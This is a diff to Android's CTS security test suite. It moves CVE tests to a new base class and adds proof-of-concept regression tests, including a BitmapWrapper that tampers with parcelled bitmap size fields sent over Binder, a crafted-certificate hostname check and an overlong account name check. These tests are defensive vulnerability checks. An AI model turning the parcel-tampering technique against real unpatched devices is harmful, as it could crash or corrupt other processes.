+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
private FileDescriptor getResource(int resId) {
try {
- InputStream is = mContext.getResources().openRawResource(resId);
+ InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
assertNotNull(is);
File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
file.deleteOnExit();
@@ -58,6 +66,7 @@
* Verifies that decoding a corrupt ICO does crash.
*/
@AsbSecurityTest(cveBugId = 38116746)
+ @Test
public void test_android_bug_38116746() {
FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
@@ -74,6 +83,7 @@
* Verifies that decoding a corrupt BMP does crash.
*/
@AsbSecurityTest(cveBugId = 37627194)
+ @Test
public void test_android_bug_37627194() {
FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
try {
@@ -84,6 +94,7 @@
}
@AsbSecurityTest(cveBugId = 156261521)
+ @Test
public void test_android_bug_156261521() {
// Previously decoding this would crash.
FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 0000000..c532e05
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+ private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+ @Override
+ public int getAllocationSize(BitmapWrapper wrapper) {
+ return wrapper.getBitmap().getAllocationByteCount();
+ }
+
+ @Override
+ public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+ return true;
+ }
+
+
+ @Override
+ public boolean ping() {
+ return true;
+ }
+ };
+
+ @Nullable
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb139..5ce81fd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
package android.security.cts;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
@RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+ private Instrumentation mInstrumentation;
+ private PeerConnection mRemoteConnection;
+ private IBitmapService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<IBitmapService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(IBitmapService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBitmapService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ @After
+ public void tearDown() {
+ if (mRemoteConnection != null) {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ mRemote = null;
+ mRemoteConnection = null;
+ }
+ }
+
+ IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+ if (mRemote == null) {
+ final Context context = mInstrumentation.getContext();
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.security.cts", "android.security.cts.BitmapService"));
+ mRemoteConnection = new PeerConnection();
+ context.bindService(intent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+ return mRemote;
+ }
+
/**
* Test Bitmap.createBitmap properly throws OOME on large inputs.
*
@@ -39,4 +112,102 @@
// which might be passed to createBitmap from a Java decoder.
Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_inplace_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 500KiB; larger than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the blob size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_ashmem_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+ .createAshmemBitmap());
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to be larger than the initial size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be smaller
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 100);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 0000000..dbcf498
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+ enum Field {
+ DataSize,
+ Height,
+ RowBytes,
+ }
+
+ private final Bitmap mBitmap;
+ private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+ public BitmapWrapper(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ private BitmapWrapper(Parcel in) {
+ mBitmap = Bitmap.CREATOR.createFromParcel(in);
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public BitmapWrapper reset() {
+ mReplaceFields.clear();
+ return this;
+ }
+
+ public BitmapWrapper replace(Field field, int newValue) {
+ mReplaceFields.put(field, newValue);
+ return this;
+ }
+
+ @Override
+ public int describeContents() {
+ return mBitmap.describeContents();
+ }
+
+ @Override
+ public void writeToParcel(@NonNull Parcel dest, int flags) {
+ final int before = dest.dataPosition();
+ mBitmap.writeToParcel(dest, flags);
+ final int oldEnd = dest.dataPosition();
+ if (!mReplaceFields.isEmpty()) {
+ dest.setDataPosition(before
+ + 4 /* immutable */
+ + 4 /* colortype */
+ + 4 /* alpha type */);
+ // Skip sizeof colorspace
+ int colorSpaceLen = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+ Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+ Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.Height)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.Height));
+ }
+ Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.RowBytes)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.RowBytes));
+ }
+ Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+ int type = dest.readInt();
+ if (type == 0) { // in-place
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ int newEnd = dest.dataPosition() + dataSize;
+ dest.setDataSize(newEnd);
+ dest.setDataPosition(newEnd);
+ } else {
+ int skip = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + skip);
+ }
+ } else if (type == 1) { // ashmem
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ }
+ dest.setDataPosition(oldEnd);
+ } else {
+ Assert.fail("Unknown type " + type);
+ }
+ }
+ }
+
+ public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+ new Parcelable.Creator<BitmapWrapper>() {
+ public BitmapWrapper createFromParcel(Parcel in) {
+ return new BitmapWrapper(in);
+ }
+
+ public BitmapWrapper[] newArray(int size) {
+ return new BitmapWrapper[size];
+ }
+ };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 4810703..a15ab42 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
/**
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testAcceptIntent() {
genericIntentTest("ACCEPT");
}
@@ -35,6 +40,7 @@
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testDeclineIntent() {
genericIntentTest("DECLINE");
}
@@ -47,7 +53,7 @@
new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
should_be_protected_broadcast.setAction(prefix + action);
- mContext.sendBroadcast(should_be_protected_broadcast);
+ getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
}
catch (SecurityException e) {
return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9e..f85ec3f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -35,7 +37,7 @@
import static org.junit.Assume.*;
@RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
private static final String TAG = "CVE_2020_0294";
/**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c40..14cb7ce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
private final Context mContext = InstrumentationRegistry.getContext();
boolean isVulnerable = true;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba..44bbc01 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a42..98b8de8 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@
import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,7 +41,7 @@
import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
static final String TAG = CVE_2021_0339.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 0000000..130dce5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+ private byte[] idData;
+ private String nameHost = null;
+ private int namePort = -1;
+ private Hashtable table;
+ private boolean invalidateDone = false;
+ private Certificate[] certs = null;
+ private javax.security.cert.X509Certificate[] xCerts = null;
+
+ public CVE_2021_0341_SSLSession(Certificate[] xc)
+ throws CertificateEncodingException, CertificateException {
+ certs = xc;
+ xCerts = new javax.security.cert.X509Certificate[xc.length];
+ int i = 0;
+ for (Certificate cert : xc) {
+ xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+ }
+ }
+
+ public int getApplicationBufferSize() {
+ return 1234567;
+ }
+
+ public String getCipherSuite() {
+ return "SuiteName";
+ }
+
+ public long getCreationTime() {
+ return 1000L;
+ }
+
+ public byte[] getId() {
+ return idData;
+ }
+
+ public long getLastAccessedTime() {
+ return 2000L;
+ }
+
+ public Certificate[] getLocalCertificates() {
+ return null;
+ }
+
+ public Principal getLocalPrincipal() {
+ return null;
+ }
+
+ public int getPacketBufferSize() {
+ return 12345;
+ }
+
+ public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (certs == null));
+ return certs;
+ }
+
+ public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+ throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (xCerts == null));
+ return xCerts;
+ }
+
+ public String getPeerHost() {
+ return nameHost;
+ }
+
+ public int getPeerPort() {
+ return namePort;
+ }
+
+ public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+ return null;
+ }
+
+ public String getProtocol() {
+ return "ProtocolName";
+ }
+
+ public SSLSessionContext getSessionContext() {
+ return null;
+ }
+
+ public void putValue(String s, Object obj) {
+ assumeFalse("arguments can not be null", (s == null || obj == null));
+ Object obj1 = table.put(s, obj);
+ if (obj1 instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+ }
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+ }
+ }
+
+ public void removeValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ Object obj = table.remove(s);
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+ }
+ }
+
+ public Object getValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ return table.get(s);
+ }
+
+ public String[] getValueNames() {
+ Vector vector = new Vector();
+ Enumeration enumeration = table.keys();
+ while (enumeration.hasMoreElements()) {
+ vector.addElement(enumeration.nextElement());
+ }
+ String as[] = new String[vector.size()];
+ vector.copyInto(as);
+ return as;
+ }
+
+ public void invalidate() {
+ invalidateDone = true;
+ }
+
+ public boolean isValid() {
+ return invalidateDone;
+ }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+ public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
+ + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+ + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+ + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+ + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+ + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+ + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
+ + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+ + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+ + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+ + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+ + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+ + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+ + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+ + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+ /**
+ * b/171980069
+ */
+ @AsbSecurityTest(cveBugId = 171980069)
+ @Test
+ public void testPocCVE_2021_0341() throws Exception {
+ CertificateFactory cf = CertificateFactory.getInstance("X.509");
+ assumeNotNull(cf);
+ HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+ assumeNotNull(verifier);
+ InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+ java.security.cert.X509Certificate x509 =
+ (java.security.cert.X509Certificate) cf.generateCertificate(in);
+ assumeNotNull(x509);
+ CVE_2021_0341_SSLSession session =
+ new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+ assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc71..d437142 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import dalvik.system.VMRuntime;
import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff..d4b0179 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.List;
@@ -34,7 +35,7 @@
import static org.junit.Assume.assumeThat;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
private String TAG = "CVE_2021_0521";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37..b79070f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
private Instrumentation mInstrumentation;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 0000000..0f44d8c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 169762606)
+ @Test
+ public void testPocCVE_2021_0934() {
+ try {
+ // Creating an account with arguments 'name' and 'type' whose
+ // lengths are greater than 200
+ String name = new String(new char[300]).replace("\0", "n");
+ String type = new String(new char[300]).replace("\0", "t");
+ Account acc = new Account(name, type);
+ assumeNotNull(acc);
+
+ // Shouldn't have reached here, unless fix is not present
+ fail("Vulnerable to b/169762606, allowing account name/type "
+ + "with character count 300 whereas limit is 200");
+ } catch (Exception e) {
+ if (e instanceof IllegalArgumentException) {
+ // This is expected with fix
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+}
